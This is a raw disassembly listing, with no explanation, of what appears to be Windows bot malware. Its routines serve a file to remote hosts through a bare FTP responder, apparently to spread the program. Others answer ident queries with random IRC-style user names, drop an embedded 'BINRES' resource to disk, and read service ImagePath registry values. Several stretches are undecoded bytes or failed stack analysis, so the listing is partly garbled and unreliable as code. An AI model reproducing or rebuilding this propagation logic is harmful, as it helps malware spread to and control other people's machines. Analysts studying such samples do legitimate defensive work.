loc_41F002: ; CODE XREF: sub_41EF30+718j
mov eax, [edi+15h]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41F01D
push 0FAh
jmp loc_41F63B
; ---------------------------------------------------------------------------
loc_41F01D: ; CODE XREF: sub_41EF30+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F636
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
nop
call near ptr 71AC0B50h
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F641
mov cl, byte_449DB8
test cl, cl
jz short loc_41F0CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44964F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_449958
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8075
call sub_401857
add esp, 28h
loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej
lea ecx, [esp+58h+arg_0]
call sub_40142E
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C71
push eax
call sub_4015F5
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014D3
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FDC
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp ; send
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp ; send
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401870
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016B8
push offset asc_445078 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
call sub_5F285B
nop
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp ; send
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401AA0
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017EE
push eax
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F595
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F595
push 2
push 0
push edi
call near ptr 77C4139Ch
nop
push edi
nop
call near ptr 77C41574h
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
nop
call near ptr 77C4139Ch
add esp, 1Ch
loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
nop
call near ptr 77C411FBh
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F513
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp ; send
cmp edi, 1000h
jz short loc_41F4C0
loc_41F513: ; CODE XREF: sub_41EF30+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_449DB8
test cl, cl
mov eax, edx
jz short loc_41F57C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_449958
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8075
call sub_401857
add esp, 2Ch
loc_41F57C: ; CODE XREF: sub_41EF30+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
nop
call near ptr 77C40AB1h
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F595: ; CODE XREF: sub_41EF30+55Bj
; sub_41EF30+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp ; send
push esi
call near ptr 71AB9639h
nop
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F636: ; CODE XREF: sub_41EF30+109j
push 9C4h
loc_41F63B: ; CODE XREF: sub_41EF30+E8j
nop
call near ptr 2831C1Ah
loc_41F641: ; CODE XREF: sub_41EF30+140j
mov al, byte_4E8E44
test al, al
jnz loc_41F002
pop ebp
pop ebx
loc_41F650: ; CODE XREF: sub_41EF30+BEj
mov eax, [edi+15h]
push eax
nop
call near ptr 71AB9639h
loc_41F65A: ; CODE XREF: sub_41EF30+82j
; sub_41EF30+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41EF30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F860 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F860
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F89D
mov byte_4E8E99, 0
jmp loc_41FA01
; ---------------------------------------------------------------------------
loc_41F89D: ; CODE XREF: sub_41F860+2Fj
mov cl, byte_44927B
xor ebx, ebx
cmp cl, bl
mov byte_4E8E99, 1
jnz loc_41F9F4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_402009
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41F9E7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_40142E
mov [esp+0A0h+var_4], ebx
call sub_401F0A
mov esi, dword_511AC8
call esi ; rand
cdq
mov ecx, 3
push offset byte_448F30
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015E1
cmp edi, ebx
jle short loc_41F966
loc_41F90A: ; CODE XREF: sub_41F860+104j
lea ecx, [esp+9Ch+var_60]
call sub_40142E
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FDC
call esi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_444E54
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41F90A
loc_41F966: ; CODE XREF: sub_41F860+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_401479
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017EE
push eax
push 71h
call esi ; rand
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
call sub_5F285B
nop
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
nop
call near ptr 71AB428Ah
mov esi, dword_511C9C
push ebp
call esi ; closesocket
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi ; closesocket
mov byte_4E8E99, bl
pop edi
jmp short loc_41F9FE
; ---------------------------------------------------------------------------
loc_41F9E7: ; CODE XREF: sub_41F860+67j
push 7D0h
call near ptr 2831C1Ah
nop
jmp short loc_41FA01
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F860+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_511C9C
loc_41F9FE: ; CODE XREF: sub_41F860+185j
push ebp
call esi ; closesocket
loc_41FA01: ; CODE XREF: sub_41F860+38j
; sub_41F860+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F860 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FA90 proc near ; CODE XREF: sub_401AD2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FACB
dec eax
jz short loc_41FAB4
dec eax
jnz short loc_41FAF1
mov ecx, dword_50DB28
mov dword_50DB0C, 4
call sub_401DE3
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FAB4: ; CODE XREF: sub_41FA90+8j
mov ecx, dword_50DB28
mov dword_50DB0C, 7
call sub_401028
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FACB: ; CODE XREF: sub_41FA90+5j
mov ecx, dword_50DB28
xor eax, eax
mov dword_50DB14, eax
mov dword_50DB0C, 1
mov dword_50DB1C, eax
mov dword_50DB20, eax
call sub_40174E
loc_41FAF1: ; CODE XREF: sub_41FA90+Bj
; sub_41FA90+22j ...
mov eax, dword_50DB2C
push offset dword_50DB08
push eax
mov dword_50DB0C, 4
nop
call near ptr 2900752h
retn 4
sub_41FA90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FB30: ; CODE XREF: ___:loc_401965j
push esi
xor esi, esi
push offset sub_401AD2
mov ecx, offset byte_44990F
mov dword_50DB08, 20h
mov dword_50DB0C, 2
mov dword_50DB10, 3
mov dword_50DB14, esi
mov dword_50DB18, esi
mov dword_50DB1C, esi
mov dword_50DB20, esi
call sub_4017EE
push eax
nop
call near ptr 2900421h
cmp eax, esi
mov dword_50DB2C, eax
jz short loc_41FBAA
push offset dword_50DB08
push eax
mov dword_50DB0C, 4
mov dword_50DB1C, esi
mov dword_50DB20, esi
call near ptr 2900752h
nop
loc_41FBAA: ; CODE XREF: ___:0041FB86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FBD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F0A0
mov eax, esi
pop esi
retn
sub_41FBD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FC00 proc near ; CODE XREF: sub_401CF3j
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50DB28, ecx
push 100h
mov ecx, offset byte_44990F
call sub_4017EE
push eax
lea eax, [esp+118h+var_100]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401965
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
call near ptr 2900000h
nop
xor eax, eax
add esp, 110h
retn
sub_41FC00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC80: ; CODE XREF: ___:00401C44j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FCA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCA2: ; CODE XREF: ___:0041FC9Aj
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2881BAFh
mov esi, eax
test esi, esi
jnz short loc_41FCB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCB9: ; CODE XREF: ___:0041FCB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
nop
call near ptr 27A0554h
mov edi, eax
test edi, edi
jnz short loc_41FCDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCDC: ; CODE XREF: ___:0041FCD4j
push ebp
push edi
push esi
nop
call near ptr 27A0BFEh
push edi
push esi
mov ebp, eax
nop
call near ptr 27B0000h
push ebp
mov esi, eax
call near ptr 27B037Dh
nop
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
nop
call near ptr 77C40AB1h
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD50 proc near ; CODE XREF: sub_40188Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FD78
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_41FD71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FD71: ; CODE XREF: sub_41FD50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FD78: ; CODE XREF: sub_41FD50+Fj
pop esi
retn
sub_41FD50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD90 proc near ; CODE XREF: sub_401AA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FDAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FDAE: ; CODE XREF: sub_41FD90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call near ptr 71AB2B66h
nop
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40188E
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41FE0A
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE0A: ; CODE XREF: sub_41FD90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FD90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FE6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE6E: ; CODE XREF: sub_41FE50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41FEC0
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FEF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF24
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_41FF27
loc_41FF24: ; CODE XREF: sub_41FEF0+14j
or eax, 0FFFFFFFFh
loc_41FF27: ; CODE XREF: sub_41FEF0+32j
pop esi
add esp, 10h
retn
sub_41FEF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF40 proc near ; CODE XREF: sub_402009j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41FF76
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF76
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF79
loc_41FF76: ; CODE XREF: sub_41FF40+8j
; sub_41FF40+1Aj
or eax, 0FFFFFFFFh
loc_41FF79: ; CODE XREF: sub_41FF40+34j
pop edi
pop esi
retn
sub_41FF40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41FF90 proc near ; CODE XREF: sub_401604j
var_1128 = dword ptr -1128h
var_1124 = byte ptr -1124h
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_437B30
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_4382BC
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41FFC3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_41FFC3: ; CODE XREF: sub_41FF90+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42008D
push ebx
mov ebx, dword_5117E0
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_41FFE5: ; CODE XREF: sub_41FF90+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_420077
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_4382B6
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_420070
mov edx, [esp+1144h+var_1128]
lea ecx, [esp+1144h+var_1124]
push 104h
push ecx
push edx
push esi
call sub_4382B0
; ---------------------------------------------------------------------------
db 8Bh, 84h, 24h
dd 1128h, 20244C8Dh, 0F3E85150h, 90778261h, 8508C483h
dd 500D75C0h, 7CE89056h, 0C6023803h, 1132444h
; ---------------------------------------------------------------------------
loc_420070: ; CODE XREF: sub_41FF90+A2j
push esi
nop
call near ptr 28406F3h
loc_420077: ; CODE XREF: sub_41FF90+8Cj
mov eax, dword ptr [esp+1138h+var_1124]
add ebp, 4
dec eax
mov dword ptr [esp+1138h+var_1124], eax
jnz loc_41FFE5
pop edi
pop esi
pop ebp
pop ebx
loc_42008D: ; CODE XREF: sub_41FF90+3Aj
mov al, byte ptr [esp+1128h+var_1128+3]
add esp, 1114h
retn
sub_41FF90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200F0 proc near ; CODE XREF: sub_401A0Aj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4200F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401870
push eax
mov [esp+464h+var_4], 0
call sub_401EAB
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42026A
lea ecx, [esp+460h+var_43C]
call sub_40142E
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_40168B
push eax
push 80000002h
call near ptr 2940000h
nop
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
nop
call near ptr 28F0000h
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
call near ptr 76081F67h
nop
mov ecx, dword_5119E0
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_444AD4 ; "\\"
call near ptr 76085AE4h
nop
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
call near ptr 760976AFh
nop
lea ecx, [esp+4A4h+var_490]
nop
call near ptr 7608B84Ch
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE1466E8h, 0E89050FFh, 23D0AF6h, 14244C8Dh
dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
